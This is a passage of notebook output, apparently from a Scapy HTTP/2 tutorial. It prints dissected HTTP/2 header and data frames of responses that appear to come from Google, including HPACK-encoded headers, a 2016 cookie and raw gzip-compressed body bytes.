'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0xe1\n", " | type = HdrsFrm\n", " | flags = set(['End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 3L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Dynamic Size Update ]### \n", " | | magic = 1\n", " | | max_size = 12288\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 8\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 59\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 11\n", " | | | data = 'HPackZString(Accept-Encoding)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 26\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(gzip)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 31\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 9\n", " | | | data = 'HPackZString(image/x-icon)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 33\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 36\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 44\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 16\n", " | | | data = 'HPackZString(x-content-type-options)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(nosniff)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 54\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(sffe)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 28\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(1494)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 12\n", " | | | data = 'HPackZString(x-xss-protection)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 10\n", " | | | data = 'HPackZString(1; mode=block)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 24\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 16\n", " | | | data = 'HPackZString(public, max-age=691200)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 21\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(472252)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(alt-svc)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 28\n", " | | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x5d6\n", " | type = DataFrm\n", " | flags = set(['End Stream (ES)'])\n", " | reserved = 0L\n", " | stream_id = 3L\n", " |###[ HTTP/2 Data Frame ]### \n", " | data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x167\n", " | type = HdrsFrm\n", " | flags = set(['End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 1L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 8\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 33\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 36\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 2\n", " | | | data = 'HPackLiteralString(-1)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 24\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 13\n", " | | | data = 'HPackZString(private, max-age=0)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 31\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 3\n", " | | | data = 'HPackLiteralString(p3p)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 81\n", " | | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 78\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 54\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 3\n", " | | | data = 'HPackLiteralString(gws)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 28\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(4420)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 72\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 11\n", " | | | data = 'HPackZString(x-frame-options)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 9\n", " | | | data = 'HPackZString(SAMEORIGIN)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 55\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 165\n", " | | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 71\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x122b\n", " | type = DataFrm\n", " | flags = set(['End Stream (ES)', 'Padded (P)'])\n", " | reserved = 0L\n", " | stream_id = 1L\n", " |###[ HTTP/2 Padded Data Frame ]### \n", " | padlen = 230\n", " | data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 